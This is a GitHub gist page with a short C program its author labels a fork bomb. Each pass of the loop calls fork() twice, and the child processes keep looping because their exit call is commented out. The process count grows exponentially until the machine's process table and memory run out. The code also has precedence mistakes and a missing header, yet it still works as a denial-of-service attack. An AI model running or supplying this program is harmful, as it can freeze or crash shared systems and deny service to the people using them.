Skip to content

Instantly share code, notes, and snippets.

@OdearOgy
Last active July 9, 2018 11:36
Show Gist options
  • Save OdearOgy/5ca8e7448561b3bd77903a5a8ea7fe39 to your computer and use it in GitHub Desktop.
Save OdearOgy/5ca8e7448561b3bd77903a5a8ea7fe39 to your computer and use it in GitHub Desktop.
forkbomb on C lang
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
int main() {
int i;
int n = 100000;
pid_t pidA[n];
for ( i = 0; i < n; ++i) {
if (pidA[i] = fork() < 0) { printf("something went wrong\n"); exit(1); };
if (pidA[i] = fork() == 0) {
printf("child process %d\n", (int) getpid());
// exit(0);
}
}
int status;
pid_t pid;
while(n > 0) {
pid = wait(&status);
printf("I'm your father %d\n", (int) getppid());
--n;
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment